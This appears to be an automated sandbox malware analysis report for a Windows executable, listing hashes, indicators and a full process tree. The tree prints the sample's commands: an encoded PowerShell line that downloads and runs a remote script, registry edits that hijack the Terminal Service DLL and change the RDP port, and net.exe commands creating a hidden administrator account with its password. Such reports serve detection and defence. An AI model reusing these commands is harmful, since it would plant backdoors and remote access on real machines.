Analysis
- max time kernel
140s - max time network
143s - platform
windows10_x64 - resource
win10v20210410 - submitted
17/05/2021, 17:16
Static task
static1
Behavioral task
behavioral1
Sample
b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
- Target b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
- Size 6.1MB
- Sample210517-e319slvrz2
- SHA256 b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15
- MD5 ea2e527c2a141b9ea8052b506ca4fbd9
- SHA1 ad5d7788f6c447759422648f55a2d12e4a4a19ab
- SHA512 38c489b3016f5a804130ce43b0da878d98e4504045e3e85459e83487992d941d03d93f7ad4bbdc8b7ee16aaefc0c205a582ab0eb2a08767cac9b31a160f527c3
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 9 IoCs
flow pid Process 17 4000 powershell.exe 19 4000 powershell.exe 20 4000 powershell.exe 21 4000 powershell.exe 23 4000 powershell.exe 25 4000 powershell.exe 27 4000 powershell.exe 29 4000 powershell.exe 31 4000 powershell.exe - Modifies RDP port number used by Windows 1 TTPs
- Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000400000001ab78-216.dat upx behavioral2/files/0x000700000001ab7f-217.dat upx - Loads dropped DLL 2 IoCs
pid Process 3884 Process not Found 3884 Process not Found - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe - Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7FA5.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8016.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_22dxld04.35u.ps1 powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7FF5.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8026.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ji5ix552.hoc.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI7FD5.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag," powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 1640 reg.exe - Runs net.exe
- Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 196 powershell.exe 196 powershell.exe 196 powershell.exe 1424 powershell.exe 1424 powershell.exe 1424 powershell.exe 1864 powershell.exe 1864 powershell.exe 1864 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 196 powershell.exe 196 powershell.exe 196 powershell.exe 4000 powershell.exe 4000 powershell.exe 4000 powershell.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 620 Process not Found 620 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 196 powershell.exe Token: SeDebugPrivilege 1424 powershell.exe Token: SeIncreaseQuotaPrivilege 1424 powershell.exe Token: SeSecurityPrivilege 1424 powershell.exe Token: SeTakeOwnershipPrivilege 1424 powershell.exe Token: SeLoadDriverPrivilege 1424 powershell.exe Token: SeSystemProfilePrivilege 1424 powershell.exe Token: SeSystemtimePrivilege 1424 powershell.exe Token: SeProfSingleProcessPrivilege 1424 powershell.exe Token: SeIncBasePriorityPrivilege 1424 powershell.exe Token: SeCreatePagefilePrivilege 1424 powershell.exe Token: SeBackupPrivilege 1424 powershell.exe Token: SeRestorePrivilege 1424 powershell.exe Token: SeShutdownPrivilege 1424 powershell.exe Token: SeDebugPrivilege 1424 powershell.exe Token: SeSystemEnvironmentPrivilege 1424 powershell.exe Token: SeRemoteShutdownPrivilege 1424 powershell.exe Token: SeUndockPrivilege 1424 powershell.exe Token: SeManageVolumePrivilege 1424 powershell.exe Token: 33 1424 powershell.exe Token: 34 1424 powershell.exe Token: 35 1424 powershell.exe Token: 36 1424 powershell.exe Token: SeDebugPrivilege 1864 powershell.exe Token: SeIncreaseQuotaPrivilege 1864 powershell.exe Token: SeSecurityPrivilege 1864 powershell.exe Token: SeTakeOwnershipPrivilege 1864 powershell.exe Token: SeLoadDriverPrivilege 1864 powershell.exe Token: SeSystemProfilePrivilege 1864 powershell.exe Token: SeSystemtimePrivilege 1864 powershell.exe Token: SeProfSingleProcessPrivilege 1864 powershell.exe Token: SeIncBasePriorityPrivilege 1864 powershell.exe Token: SeCreatePagefilePrivilege 1864 powershell.exe Token: SeBackupPrivilege 1864 powershell.exe Token: SeRestorePrivilege 1864 powershell.exe Token: SeShutdownPrivilege 1864 powershell.exe Token: SeDebugPrivilege 1864 powershell.exe Token: SeSystemEnvironmentPrivilege 1864 powershell.exe Token: SeRemoteShutdownPrivilege 1864 powershell.exe Token: SeUndockPrivilege 1864 powershell.exe Token: SeManageVolumePrivilege 1864 powershell.exe Token: 33 1864 powershell.exe Token: 34 1864 powershell.exe Token: 35 1864 powershell.exe Token: 36 1864 powershell.exe Token: SeDebugPrivilege 2280 powershell.exe Token: SeIncreaseQuotaPrivilege 2280 powershell.exe Token: SeSecurityPrivilege 2280 powershell.exe Token: SeTakeOwnershipPrivilege 2280 powershell.exe Token: SeLoadDriverPrivilege 2280 powershell.exe Token: SeSystemProfilePrivilege 2280 powershell.exe Token: SeSystemtimePrivilege 2280 powershell.exe Token: SeProfSingleProcessPrivilege 2280 powershell.exe Token: SeIncBasePriorityPrivilege 2280 powershell.exe Token: SeCreatePagefilePrivilege 2280 powershell.exe Token: SeBackupPrivilege 2280 powershell.exe Token: SeRestorePrivilege 2280 powershell.exe Token: SeShutdownPrivilege 2280 powershell.exe Token: SeDebugPrivilege 2280 powershell.exe Token: SeSystemEnvironmentPrivilege 2280 powershell.exe Token: SeRemoteShutdownPrivilege 2280 powershell.exe Token: SeUndockPrivilege 2280 powershell.exe Token: SeManageVolumePrivilege 2280 powershell.exe Token: 33 2280 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2016 wrote to memory of 196 2016 b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe 78 PID 2016 wrote to memory of 196 2016 b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe 78 PID 196 wrote to memory of 1424 196 powershell.exe 81 PID 196 wrote to memory of 1424 196 powershell.exe 81 PID 196 wrote to memory of 1864 196 powershell.exe 84 PID 196 wrote to memory of 1864 196 powershell.exe 84 PID 196 wrote to memory of 2280 196 powershell.exe 86 PID 196 wrote to memory of 2280 196 powershell.exe 86 PID 196 wrote to memory of 2464 196 powershell.exe 88 PID 196 wrote to memory of 2464 196 powershell.exe 88 PID 196 wrote to memory of 1640 196 powershell.exe 89 PID 196 wrote to memory of 1640 196 powershell.exe 89 PID 196 wrote to memory of 2328 196 powershell.exe 90 PID 196 wrote to memory of 2328 196 powershell.exe 90 PID 196 wrote to memory of 2792 196 powershell.exe 91 PID 196 wrote to memory of 2792 196 powershell.exe 91 PID 2792 wrote to memory of 3024 2792 net.exe 92 PID 2792 wrote to memory of 3024 2792 net.exe 92 PID 196 wrote to memory of 3940 196 powershell.exe 93 PID 196 wrote to memory of 3940 196 powershell.exe 93 PID 3940 wrote to memory of 3912 3940 cmd.exe 94 PID 3940 wrote to memory of 3912 3940 cmd.exe 94 PID 3912 wrote to memory of 200 3912 cmd.exe 95 PID 3912 wrote to memory of 200 3912 cmd.exe 95 PID 200 wrote to memory of 3144 200 net.exe 96 PID 200 wrote to memory of 3144 200 net.exe 96 PID 196 wrote to memory of 3492 196 powershell.exe 97 PID 196 wrote to memory of 3492 196 powershell.exe 97 PID 3492 wrote to memory of 1304 3492 cmd.exe 98 PID 3492 wrote to memory of 1304 3492 cmd.exe 98 PID 1304 wrote to memory of 208 1304 cmd.exe 99 PID 1304 wrote to memory of 208 1304 cmd.exe 99 PID 208 wrote to memory of 2808 208 net.exe 100 PID 208 wrote to memory of 2808 208 net.exe 100 PID 3260 wrote to memory of 732 3260 cmd.exe 104 PID 3260 wrote to memory of 732 3260 cmd.exe 104 PID 732 wrote to memory of 1640 732 net.exe 105 PID 732 wrote to memory of 1640 732 net.exe 105 PID 2252 wrote to memory of 1952 2252 cmd.exe 108 PID 2252 wrote to memory of 1952 2252 cmd.exe 108 PID 1952 wrote to memory of 3952 1952 net.exe 109 PID 1952 wrote to memory of 3952 1952 net.exe 109 PID 3636 wrote to memory of 3024 3636 cmd.exe 112 PID 3636 wrote to memory of 3024 3636 cmd.exe 112 PID 3024 wrote to memory of 2088 3024 net.exe 113 PID 3024 wrote to memory of 2088 3024 net.exe 113 PID 2464 wrote to memory of 3260 2464 cmd.exe 116 PID 2464 wrote to memory of 3260 2464 cmd.exe 116 PID 3260 wrote to memory of 1864 3260 net.exe 117 PID 3260 wrote to memory of 1864 3260 net.exe 117 PID 2484 wrote to memory of 1764 2484 cmd.exe 120 PID 2484 wrote to memory of 1764 2484 cmd.exe 120 PID 1764 wrote to memory of 2716 1764 net.exe 121 PID 1764 wrote to memory of 2716 1764 net.exe 121 PID 2736 wrote to memory of 3024 2736 cmd.exe 124 PID 2736 wrote to memory of 3024 2736 cmd.exe 124 PID 3024 wrote to memory of 3940 3024 net.exe 125 PID 3024 wrote to memory of 3940 3024 net.exe 125 PID 2088 wrote to memory of 1424 2088 cmd.exe 128 PID 2088 wrote to memory of 1424 2088 cmd.exe 128 PID 3692 wrote to memory of 1952 3692 cmd.exe 131 PID 3692 wrote to memory of 1952 3692 cmd.exe 131 PID 2372 wrote to memory of 1852 2372 cmd.exe 134 PID 2372 wrote to memory of 1852 2372 cmd.exe 134
Processes
-
C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe"C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:196 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1424
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1864
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2280
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:2464
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1640
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2328
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:3024
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:200 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:3144
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:2808
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:2232
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:2188
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:3260 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1640
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc z7uZm91t /add1⤵
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc z7uZm91t /add2⤵
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc z7uZm91t /add3⤵PID:3952
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:2088
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:2464 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3260 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD3⤵PID:1864
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2716
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc z7uZm91t1⤵
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc z7uZm91t2⤵
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc z7uZm91t3⤵PID:3940
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:1424
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:1952
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
- Suspicious use of WriteProcessMemory
PID:2372 -
